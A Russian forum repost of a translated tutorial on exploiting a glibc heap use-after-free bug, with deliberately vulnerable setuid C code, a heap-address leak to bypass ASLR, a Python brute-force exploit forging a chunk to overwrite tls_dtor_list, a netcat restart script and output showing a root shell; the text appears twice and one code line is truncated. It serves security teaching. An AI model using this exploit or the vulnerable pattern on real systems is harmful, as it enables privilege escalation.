[Информационная безопасность, Реверс-инжиниринг] Уязвимость Use-After-Free (перевод)
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Привет, хабр! В преддверии старта продвинутого курса «Реверс-инжиниринг» мы подготовили для вас еще один интересный перевод. Начнем!
Предварительные требования:
- Уязвимость Off-By-One
- Понимание работы malloc в glibc
Конфигурация виртуальной машины: Fedora 20 (x86)
Что такое Use-After-Free (UaF)?
Баг Use-After-Free возникает если указатель кучи продолжает использоваться уже после ее освобождения. Такая уязвимость может повлечь за собой выполнение производного кода.
Уязвимый код:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
Команды компиляции:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
Примечание: по сравнению с предыдущей статьей, здесь ASLR включен. Теперь давайте воспользуемся багом UaF, и, поскольку ASLR включен, давайте обойдем его с помощью утечки информации и брутфорса.
В коде выше уязвимости use-after-free находятся в строках [6] и [13]. Соответствующие им памяти куч освобождаются в строках [5] и [10], но их указатели используются уже после освобождения в строках [6] и [13]! UaF в строке [6] приводит к утечке информации, в строке [13] – к выполнению произвольного кода.
Что такое утечка информации? Как злоумышленник может ей воспользоваться?
В уязвимом коде выше (в строке [6]) утечка происходит по адресу кучи. Утекший адрес кучи поможет злоумышленнику легко вычислить рандомно размещенный адрес сегмента кучи, тем самым обойдя ASLR.
Чтобы понять, как происходит утечка адреса кучи, давайте сначала разберемся в первой половине уязвимого кода.
- Строка [1] аллоцирует область памяти кучи размером 16 байт для «name».
- Строка [2] аллоцирует область памяти кучи размером 16 байт для «details».
- Строка [3] копирует аргумент программы 1 (argv[1]) в область памяти кучи «name».
- Строки [4] и [5] освобождают области памяти кучи «name» и «details» обратно в glibc malloc.
- Printf в строке [6] использует указатель «name» после его освобождения, что приводит к утечке адреса кучи.
После прочтения статьи из раздела Предварительные требования, мы знаем, что чанки, соответствующие указателям «name» и «details» — это fast-чанки, которые при освобождении хранятся по нулевому индексу в fast-ячейках. Также мы знаем, что каждая fast-ячейка содержит односвязный список свободных чанков. Таким образом, возвращаясь к нашему примеру, односвязный список по нулевому индексу в fast-ячейке выглядит так, как показано ниже:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
Из-за односвязности первые 4 байта «name» содержат адрес «details_chunk». Таким образом, когда выводится «name», сначала выводится адрес «details_chunk». Опираясь на схему кучи, мы знаем, что «details_chunk» смещен на 0x10 от базового адреса кучи. Таким образом, вычитание 0x10 из утекшего адреса кучи даст нам ее базовый адрес!
Как достигается выполнение произвольного кода?
Теперь, когда у нас есть базовый адрес сегмента кучи, давайте посмотрим, как выполнить произвольный код, разобравшись со второй половиной нашего примера.
- Строка [7] аллоцирует область памяти кучи размером 16 байт для «tmp».
- Строка [8] аллоцирует область памяти кучи размером 1024 байта для «p1».
- Строка [9] аллоцирует область памяти кучи размером 1024 байта для «p2».
- Строка [10] освобождает область памяти кучи «p2» обратно в glibc malloc.
- Строка [11] аллоцирует область памяти кучи размером 512 байт для «p2_1».
- Строка [12] аллоцирует область памяти кучи размером 512 байт для «p2_2».
- Read в строке [13] использует указатель «p2» после его освобождения.
- Строка [14] освобождает область памяти кучи «p1» обратно в glibc malloc, что приводит к выполнению произвольного кода при выходе из программы.
После прочтения статьи из раздела Предварительные требования, мы знаем, что когда «p2» освобождается в glibc malloc, он консолидируется в top-чанк. Позже, когда запрашивается память для «p2_1», она выделяется из top-чанка и «p2» и «p2_2» имеют один и тот же адрес кучи. Далее, когда запрашивается память для «p2_2», она выделяется из top-чанка и «p2_2» находится на расстоянии 512 байт от «p2». Итак, когда указатель «p2» используется после освобождения в строке [13], данные, контролируемые злоумышленником (максимум 1019 байт) копируются в «p2_1», размер которого составляет всего 512 байт, и, следовательно, оставшиеся данные злоумышленника перезаписывают следующий чанк «p2_2», давая возможность злоумышленнику перезаписать поле размером с заголовок следующего чанка.
Схема кучи:
Как мы знаем из статьи из раздела Предварительные требования, если злоумышленник может успешно переписать LSB поля размера следующего чанка, он может обмануть glibc malloc, чтобы разорвать связь с чанком «p2_1», даже если он находится в аллоцированном состоянии. Также в той статье мы видели, что отсоединение большого чанка в аллоцированном состоянии может привести к выполнению произвольного кода, если злоумышленник аккуратно подделал заголовок чанка. Злоумышленник создает фейковый заголовок чанка, как показано ниже:
- fd должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что «p2_1» находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
- bk также должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что «p2_1» находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
- fd_nextsize должен указывать на tls_dtor_list – 0x14. «tls_dtor_list» относится к рандомизированному сегменту private anonymous mapping из glibc. Чтобы справиться с рандомизацией, будем использовать брутфорс, как показано в коде эксплойта ниже.
- bk_nextsize должен указывать на адрес кучи, который содержит элемент «dtor_list». «system» dtor_list инъецируется злоумышленником после подделывания заголовка чанка, в то время как «setuid» dtor_list ставится злоумышленником вместо области памяти кучи «p2_2». Из схемы кучи мы знаем, что dtor_list располагается со смещением 0x428 и 0x618 соответственно.
Теперь, когда у нас есть вся эта информация, мы можем написать эксплойт для атаки на уязвимый бинарник «vuln».
Код эксплойта:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
Поскольку при брутфорсе нам нужно несколько попыток (пока у нас не получится), давайте запустим наш уязвимый бинарник «vuln» как сетевой сервер и с помощью shell-скрипта убедимся, что он автоматически перезапускается при падении.
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
Выполнение кода эксплойта выше даст вам root-права в shell. Получилось!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
Источник:
1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution
Анализ буткита. Бесплатный урок
Читать ещё:
===========
Источник:
habr.com
===========
===========
Автор оригинала: https://sploitfun.wordpress.com/2015/06/16/use-after-free/
===========Похожие новости:
- [Информационная безопасность] Новая версия ЧАВО для выбора паролей и правил создания систем аутентификации от NIST
- [Информационная безопасность, Исследования и прогнозы в IT] Битва за роутеры: как ботнеты делят сферы влияния
- [Информационная безопасность, IT-инфраструктура, Реверс-инжиниринг, Исследования и прогнозы в IT] Тайны файла подкачки pagefile.sys: полезные артефакты для компьютерного криминалиста
- [Информационная безопасность, Виртуализация, Финансы в IT] Как подружить ГОСТ Р 57580 и контейнерную виртуализацию. Ответ Центробанка (и наши соображения на этот счет)
- [Информационная безопасность, Криптография, Алгоритмы, Математика] Отношения. Часть II
- [Информационная безопасность, Антивирусная защита, Восстановление данных, Резервное копирование] Новый релиз Acronis True Image 2021 — комплексная киберзащита и новые возможности
- [Информационная безопасность, PostgreSQL, Администрирование баз данных] Реализация ролевой модели доступа с использованием Row Level Security в PostgreSQL
- [Информационная безопасность, Социальные сети и сообщества, IT-компании] Вновь утечка: в сети оказались данные 235 миллионов пользователей Instagram, YouTube и TikTok
- [Информационная безопасность] «КОМРАД 4.0»: кросс-платформенная отечественная SIEM-система с дружественным интерфейсом и высокой производительностью
- [Программирование, Java] Что нового в Spring Data (Klara Dan von) Neumann (перевод)
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_reversinzhiniring (Реверс-инжиниринг), #_ujazvimosti (уязвимости), #_informatsionnaja_bezopasnost (информационная безопасность), #_reversinzhiniring (реверс-инжиниринг), #_blog_kompanii_otus._onlajnobrazovanie (
Блог компании OTUS. Онлайн-образование
), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_reversinzhiniring (
Реверс-инжиниринг
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 09:51
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Привет, хабр! В преддверии старта продвинутого курса «Реверс-инжиниринг» мы подготовили для вас еще один интересный перевод. Начнем! Предварительные требования:
Конфигурация виртуальной машины: Fedora 20 (x86) Что такое Use-After-Free (UaF)? Баг Use-After-Free возникает если указатель кучи продолжает использоваться уже после ее освобождения. Такая уязвимость может повлечь за собой выполнение производного кода. Уязвимый код: #include <stdio.h>
#include <string.h> #include <unistd.h> #define BUFSIZE1 1020 #define BUFSIZE2 ((BUFSIZE1/2) - 4) int main(int argc, char **argv) { char* name = malloc(12); /* [1] */ char* details = malloc(12); /* [2] */ strncpy(name, argv[1], 12-1); /* [3] */ free(details); /* [4] */ free(name); /* [5] */ printf("Welcome %s\n",name); /* [6] */ fflush(stdout); char* tmp = (char *) malloc(12); /* [7] */ char* p1 = (char *) malloc(BUFSIZE1); /* [8] */ char* p2 = (char *) malloc(BUFSIZE1); /* [9] */ free(p2); /* [10] */ char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */ char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */ printf("Enter your region\n"); fflush(stdout); read(0,p2,BUFSIZE1-1); /* [13] */ printf("Region:%s\n",p2); free(p1); /* [14] */ } Команды компиляции: #echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln Примечание: по сравнению с предыдущей статьей, здесь ASLR включен. Теперь давайте воспользуемся багом UaF, и, поскольку ASLR включен, давайте обойдем его с помощью утечки информации и брутфорса.
В коде выше уязвимости use-after-free находятся в строках [6] и [13]. Соответствующие им памяти куч освобождаются в строках [5] и [10], но их указатели используются уже после освобождения в строках [6] и [13]! UaF в строке [6] приводит к утечке информации, в строке [13] – к выполнению произвольного кода. Что такое утечка информации? Как злоумышленник может ей воспользоваться? В уязвимом коде выше (в строке [6]) утечка происходит по адресу кучи. Утекший адрес кучи поможет злоумышленнику легко вычислить рандомно размещенный адрес сегмента кучи, тем самым обойдя ASLR. Чтобы понять, как происходит утечка адреса кучи, давайте сначала разберемся в первой половине уязвимого кода.
После прочтения статьи из раздела Предварительные требования, мы знаем, что чанки, соответствующие указателям «name» и «details» — это fast-чанки, которые при освобождении хранятся по нулевому индексу в fast-ячейках. Также мы знаем, что каждая fast-ячейка содержит односвязный список свободных чанков. Таким образом, возвращаясь к нашему примеру, односвязный список по нулевому индексу в fast-ячейке выглядит так, как показано ниже: main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
Из-за односвязности первые 4 байта «name» содержат адрес «details_chunk». Таким образом, когда выводится «name», сначала выводится адрес «details_chunk». Опираясь на схему кучи, мы знаем, что «details_chunk» смещен на 0x10 от базового адреса кучи. Таким образом, вычитание 0x10 из утекшего адреса кучи даст нам ее базовый адрес! Как достигается выполнение произвольного кода? Теперь, когда у нас есть базовый адрес сегмента кучи, давайте посмотрим, как выполнить произвольный код, разобравшись со второй половиной нашего примера.
После прочтения статьи из раздела Предварительные требования, мы знаем, что когда «p2» освобождается в glibc malloc, он консолидируется в top-чанк. Позже, когда запрашивается память для «p2_1», она выделяется из top-чанка и «p2» и «p2_2» имеют один и тот же адрес кучи. Далее, когда запрашивается память для «p2_2», она выделяется из top-чанка и «p2_2» находится на расстоянии 512 байт от «p2». Итак, когда указатель «p2» используется после освобождения в строке [13], данные, контролируемые злоумышленником (максимум 1019 байт) копируются в «p2_1», размер которого составляет всего 512 байт, и, следовательно, оставшиеся данные злоумышленника перезаписывают следующий чанк «p2_2», давая возможность злоумышленнику перезаписать поле размером с заголовок следующего чанка. Схема кучи: Как мы знаем из статьи из раздела Предварительные требования, если злоумышленник может успешно переписать LSB поля размера следующего чанка, он может обмануть glibc malloc, чтобы разорвать связь с чанком «p2_1», даже если он находится в аллоцированном состоянии. Также в той статье мы видели, что отсоединение большого чанка в аллоцированном состоянии может привести к выполнению произвольного кода, если злоумышленник аккуратно подделал заголовок чанка. Злоумышленник создает фейковый заголовок чанка, как показано ниже:
Теперь, когда у нас есть вся эта информация, мы можем написать эксплойт для атаки на уязвимый бинарник «vuln». Код эксплойта: #exp.py
#!/usr/bin/env python import struct import sys import telnetlib import time ip = '127.0.0.1' port = 1234 def conv(num): return struct.pack("<I def send(data): global con con.write(data) return con.read_until('\n') print "** Bruteforcing libc base address**" libc_base_addr = 0xb756a000 fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0 system = libc_base_addr + 0x3e6e0 system_arg = 0x80482ae size = 0x200 setuid = libc_base_addr + 0xb9e30 setuid_arg = 0x0 while True: time.sleep(4) con = telnetlib.Telnet(ip, port) laddress = con.read_until('\n') laddress = laddress[8:12] heap_addr_tup = struct.unpack("<I", laddress) heap_addr = heap_addr_tup[0] print "** Leaked heap addresses : [0x%x] **" %(heap_addr) heap_base_addr = heap_addr - 0x10 fd = heap_base_addr + 0x410 bk = fd bk_nextsize = heap_base_addr + 0x618 mp = heap_base_addr + 0x18 nxt = heap_base_addr + 0x428 print "** Constructing fake chunk to overwrite tls_dtor_list**" fake_chunk = conv(fd) fake_chunk += conv(bk) fake_chunk += conv(fd_nextsize) fake_chunk += conv(bk_nextsize) fake_chunk += conv(system) fake_chunk += conv(system_arg) fake_chunk += "A" * 484 fake_chunk += conv(size) fake_chunk += conv(setuid) fake_chunk += conv(setuid_arg) fake_chunk += conv(mp) fake_chunk += conv(nxt) print "** Successful tls_dtor_list overwrite gives us shell!!**" send(fake_chunk) try: con.interact() except: exit(0) Поскольку при брутфорсе нам нужно несколько попыток (пока у нас не получится), давайте запустим наш уязвимый бинарник «vuln» как сетевой сервер и с помощью shell-скрипта убедимся, что он автоматически перезапускается при падении. #vuln.sh
#!/bin/sh nc_process_id=$(pidof nc) while : do if [[ -z $nc_process_id ]]; then echo "(Re)starting nc..." nc -l -p 1234 -c "./vuln sploitfun" else echo "nc is running..." fi done Выполнение кода эксплойта выше даст вам root-права в shell. Получилось! Shell-1$./vuln.sh
Shell-2$python exp.py ... ** Leaked heap addresses : [0x889d010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** ** Leaked heap addresses : [0x895d010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** id uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 exit ** Leaked heap addresses : [0x890c010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** ... $ Источник: 1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution Анализ буткита. Бесплатный урок Читать ещё: =========== Источник: habr.com =========== =========== Автор оригинала: https://sploitfun.wordpress.com/2015/06/16/use-after-free/ ===========Похожие новости:
Блог компании OTUS. Онлайн-образование ), #_informatsionnaja_bezopasnost ( Информационная безопасность ), #_reversinzhiniring ( Реверс-инжиниринг ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 09:51
Часовой пояс: UTC + 5